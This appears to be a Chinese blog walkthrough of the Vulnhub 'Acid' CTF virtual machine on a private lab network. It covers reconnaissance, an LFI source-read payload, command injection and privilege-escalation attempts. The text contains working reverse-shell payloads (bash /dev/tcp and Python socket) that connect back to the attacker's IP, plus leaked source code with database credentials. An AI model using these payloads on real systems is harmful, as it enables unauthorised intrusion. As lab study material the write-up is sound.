Acid靶机渗透
Acid渗透靶机实战
攻击机:kali 192.168.41.147
靶机: acid 192.168.41.149
信息收集
- ip发现
开启Acid靶机,通过nmap进行局域网存火主机扫描.

- 端口扫描
通过nmap进行端口扫描,因为nmap默认是扫描1000个端口,发现没有开放服务。于是我设置了端口为全端口1-65535

目标主机在33447开了http服务,web服务器是Apache/2.4.10 系统是 Ubuntu ,没有发现cms指纹
开始渗透实战
首先利用dirsearch扫描下网站目录,同时进入网站 http://192.168.41.149:33447/ 看看有没有可以值得利用的地方
查看网页源代码,发现一串16进制的数,转化成字符=> d293LmpwZw==, base64在转化=> wow.jpg

有/images/目录,进入网站的images目录发现403,呢么加个/wow.jpg看看
保存图片到本地,查看有没有隐藏什么信息,直接用winhex打开。发现有一些特别的数字,看着像16进制。txt是个好东西,直接拖进txt里,然后替换:为空
转为字符串解出来是一串7aee0f6d588ed9905ee37f16a7c610d4,看着像md5,拿着去解一下
disbuster fuzz
到这就没思路了,接下来该怎么搞,看WP是用dirbuster爆破出来的challenge目录,我的dirrsearch不行啊,煞笔了,网站标题就是/Challenge
百度了下dirbuster的fuzz 目录的用法,fuzz下/Challenge目录下的php文件
找到了**cake.php,include.php,error.php,index.php,hacked.php**
我们先进入Chanllenge目录主页看下,有种似曾相识的感觉,在领航杯的第一次AWD那年,碰到的主页一样
在main.css中找到这几句话
>>>Conclusion:
Through Login/Logout form it becomes easy to deal with sessions in PHP. Hope you like it, keep reading our other blogs.
Comments and Responses
Your email address will not be published. Required fields are marked *
那就让我们去寻找下别的点
cake.php
查看源码中,出现了/Magic_Box的字样,估计是个目录
hacked.php
并没有发现什么东西
error.php
同样,什么东西都没有发现
include.php
看文件名,就知道可能跟文件包含有关系。果然,直接给了个文件包含的页面

当输入index.php时,发现页面会重叠index.php的画面,看来是直接包含了,而不是进入包含的页面,并且url参数有可以利用的点,让我们来用php伪协议来看看源码
payload: http://192.168.41.149:33447/Challenge/include.php?file=php://filter/read=convert.base64-encode/resource=index.php&add=Extract+File
页面一闪而过,可以bp抓包查看,确实以base64编码格式读取了index.php的源码
index.php
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';
sec_session_start();
$_SESSION['index_page']=time(); if (login_check($mysqli) == true) {
$logged = 'in';
} else {
$logged = 'out';
}
?>
<!DOCTYPE gkg.qvpn html>
<html>
<head>
<title>Secure Login: Log In</title>
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="styles/main.css" />
<script type="text/JavaScript" src="js/sha512.js"></script>
<script type="text/JavaScript" src="js/forms.js"></script> </head>
<body>
<div class="wrapper">
<div class="container">
<h1>Welcome to Hell</h1>
<?php
if (isset($_GET['error'])) {
echo '<p class="error">Error Logging In!</p>';
}
?>
<form action="includes/process_login.php" method="post" name="login_form">
Email: <input type="text" placeholder="Email Address" name="email" maxlength="20" />
Password: <input type="password" placeholder="Password" name="password" id="password"/>
<input type="submit" value="Login" onclick="formhash(this.form, this.form.password);" />
</form>
</div>
<p>You are currently logged <?php echo $logged ?>.</p>
<ul class="bg-bubbles">
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
</ul>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script> <script src="js/index.js"></script> </body>
</html>
再看下别的页面
hacked.php
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php'; sec_session_start(); if (!isset($_SESSION['protected_page'])){
header('Location: protected_page.php');
exit;
}
if (!isset($_SESSION['index_page'])){
header('Location: protected_page.php');
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="styles/main.css" />
<title>Try to Extract Juicy details</title>
</head>
<body>
<div class="wrapper">
<div class="container">
<?php
if(isset($_REQUEST['add']))
{
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = 'mehak';
$conn = mysql_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
die('Could not connect: ' . mysql_error());
} $id = $_POST['id'];
$sql = "SELECT * FROM members WHERE ID = (('$id'))";
mysql_select_db('secure_login');
$retval = mysql_query( $sql, $conn );
if(! $retval )
{
die('Could not enter data: ' . mysql_error());
}
echo "You have entered ID successfully...Which is not a big deal :D\n";
mysql_close($conn);
}
?>
<p> <h1>You are going Good...Show me your Ninja Skills.</h1> <br>
<form method="get" action="<?php $_PHP_SELF ?>">
Enter your ID:<input name="id" placeholder="id" type="text" id="id" maxlength="20">
<input name="add" type="submit" id="add" value="Add ID"> </body>
</html>
cake.php
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';
?> <!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="styles/main.css" />
<title>/Magic_Box</title>
</head>
<body>
<div class="wrapper">
<div class="container">
<p><h1><font color='Red'>Ah.haan....There is long way to go..dude :-)</h1></font><br><font color='Green'>Please <a href="index.php">login</a></f$
</body>
</html>
<?php /* Come on....catch this file "tails.php" */
?>
看到hacked.php中,当两个session都有时候才会继续下面的内容,只有当你进入,index.php和protected_page之后,访问hacked.php,才会出现如下页面

好像没啥用啊?把之前找的md5密码拿出来填进去,以为会发现什么有趣的事,结果跟没啥用的页面。
然后发现cake.php最后一行中,有提示tails.php,尝试进入,发现not found,include试试看,也是个302跳转到protected_page(被耍了吗,我去)
然后还是回到原来,发现的Magic_box目录,用dirbuster来fuzz下目录文件

Command injection
发现了一个command.php页面,估计是直接命令执行的页面,我们可以直接反弹个shell,然后找一下真正的flag(我发现了,普通的字典是跑不出来的,OWASP里的字典才行)

命令执行成功,这里可以用; 或者&和|,都可以执行,但是记得urlendoce下,因为是特殊符号,需要url编码,不然可能不会执行

尝试反弹shell,kali,nc监听9090端口,nc -lvvp 9090
>>payload:bash -i >& /dev/tcp/192.168.41.147/9090 0>&1 失败
>>payload:python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.41.147',9090));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" 成功反弹shell

提权
然后看一下/etc/passwd,查找一些有用的信息.

发现有两个用户能登陆并且能操作终端
emmmmm,然后不会了,看了WP,不会提权啊,自己尝试百度找找su提权的东西
知识点如下
- sudo : 暂时切换到超级用户模式以执行超级用户权限,提示输入密码时该密码为当前用户的密码,而不是超级账户的密码。不过有时间限制,Ubuntu默认为一次时长15分钟。
- su: 切换到某某用户模式,提示输入密码时该密码为切换后账户的密码,用法为“su 账户名称”。如果后面不加账户时系统默认为root账户,密码也为超级账户的密码。没有时间限制
- sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。想退回普通账户时可以执行“exit”或“logout” 。
- sudo -i 直接运行sudo命令加-i参数
sudo su 运行sudo命令给su命令提权,运行su命令。
sudo -i 运行结果 PWD=/root
sudo su 运行结果 PWD=/home/用户名(当前用户主目录)
也就是我们需要su到一个普通用户,只要知道用户密码,可以通过sudo-i,直接提权至root用户。
但是,su命令前提需要一个终端,需要的是一个终端设备输入密码,但是我们反弹shell的真是一个标准输入样子的。
我们可以用python命令生成一个虚拟的终端( Python -c 'import pty;pty.spawn("/bin/sh")' )

OK,su命令可以用了,接下来就是提权到acid后者saman,再sudo -i 提权到root用户
但是su 到任意用户,我们都需要这个用户的密码,我们才能登陆

shadow是真正保存密码的地方,但是我们啥权限都没有---,很悲催,所有者为root,且shadow组下的用户才有查看的权限
到这里好像就走不下去了,偷瞄一眼WP。
接下来我们可以查看下相关用户的文件,利用find / -user 命令
命令:find / -user acid 2>/dev/null 解释下: 2>/dev/null 2再ilnux中的意思是标准错误,/dev/null指空设备,即将标准错误重定向到空设备=>不会报错,显错

不加的话,就会提示错误信息,没有权限等等,这样反而给我们阅读造成困扰,本来就没权限的,还需要你再告诉一遍嘛(下面还一堆错误信息
Acid靶机渗透的更多相关文章
- 22. CTF综合靶机渗透(十五)
靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...
- 21. CTF综合靶机渗透(十四)
靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...
- 18. CTF综合靶机渗透(十一)
靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...
- 17. CTF综合靶机渗透(十)
靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...
- hacknos-player靶机渗透
靶机下载地址https://www.vulnhub.com/entry/hacknos-player,459/ 网络配置 该靶机可能会存在无法自动分配IP的情况,所以无法扫描到的情况下需要手动配置获取 ...
- VulnHub CengBox2靶机渗透
本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...
- VulnHub PowerGrid 1.0.1靶机渗透
本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...
- DeRPnStiNK靶机渗透
DeRPnStiNK靶机渗透 常规的信息搜集 扫到了phpmyadmin以及wordpress并在后台发现弱密码,即admin,admin 这里对wordpress进行了扫描: 扫描插件: searc ...
- BTRsys1~2系列靶机渗透
BTRsys系列靶机渗透 BTRsys1 端口发现加目录扫描. 发现目录:http://192.168.114.161/login.php 尝试弱密码失败,查看源代码. <script type ...
随机推荐
- 深度学习中正则化技术概述(附Python代码)
欢迎大家关注我们的网站和系列教程:http://www.tensorflownews.com/,学习更多的机器学习.深度学习的知识! 磐石 介绍 数据科学研究者们最常遇见的问题之一就是怎样避免过拟合. ...
- 【Redis】入门
Redis概述 Redis常用数据结构 Redis删除过期数据策略 Redis内存淘汰机制 Redis持久化机制 缓存问题及解决方案 Redis概述 Redis是一个开源的.基于内存的数据结构存储器 ...
- ios shell打包脚本 gym
#! /bin/bash project_path=$() project_config=Release output_path=~/Desktop build_scheme=YKTicketsApp ...
- SimpleITK中术语
在SimpleITK中,各术语对应如下: Width: 宽度,X轴,矢状面Height: 高度,Y轴,冠状面Depth: 深度, Z轴,横断面 引用自:https://blog.csdn.net/Ji ...
- [vijos1234]口袋的天空<最小生成树>
题目链接:https://vijos.org/p/1234 白天刚刚写完prim的算法,晚上就心血来潮的打了一道最小生成树的题 虽然有题解说可以用prim做,但是这道题明显是加最小的边,感觉krusk ...
- 封装一个通用的PopupWindow
上篇文章是关于建造者设计模式的,今天顺便封装一个通用的 PopupWindow 来实践一下, 同时也方便以后使用 PopupWindow,本文将从下面几个方面来介绍 PopupWindow 及其封装, ...
- 如何编写优雅的异步代码 — CompletableFuture
前言 在我们的意识里,同步执行的程序都比较符合人们的思维方式,而异步的东西通常都不好处理.在异步计算的情况下,以回调表示的动作往往会分散在代码中,也可能相互嵌套在内部,如果需要处理其中一个步骤中可能发 ...
- NKOJ 7.7练习题A IP地址
问题描述 可以用一个网络地址和一个子网掩码描述一个子网(即连续的 IP 地址范围).其中子网掩码包含 32 个二进制位,前 32-n 位为 1,后 n 位为 0,网络地址的前 32-n 位任意,后 n ...
- Redis新手的坑,无法连接、缺少类、没有密码
阿西吧,自己太菜了,用SpringBoot调用Redis缓存的时候,出了各种问题,记录一下,大家别学我 本文有自己的经验,也有从其他博客整理来的零零散散的经验. 1.安装Redis 安装redis,一 ...
- MTK Android Camera运行流程
Android Camera 运行流程 总体架构1.CameraService服务的注册2.Client端的应用层到JNI层Camera App-JNI3.Client到Service的连接4.HAL ...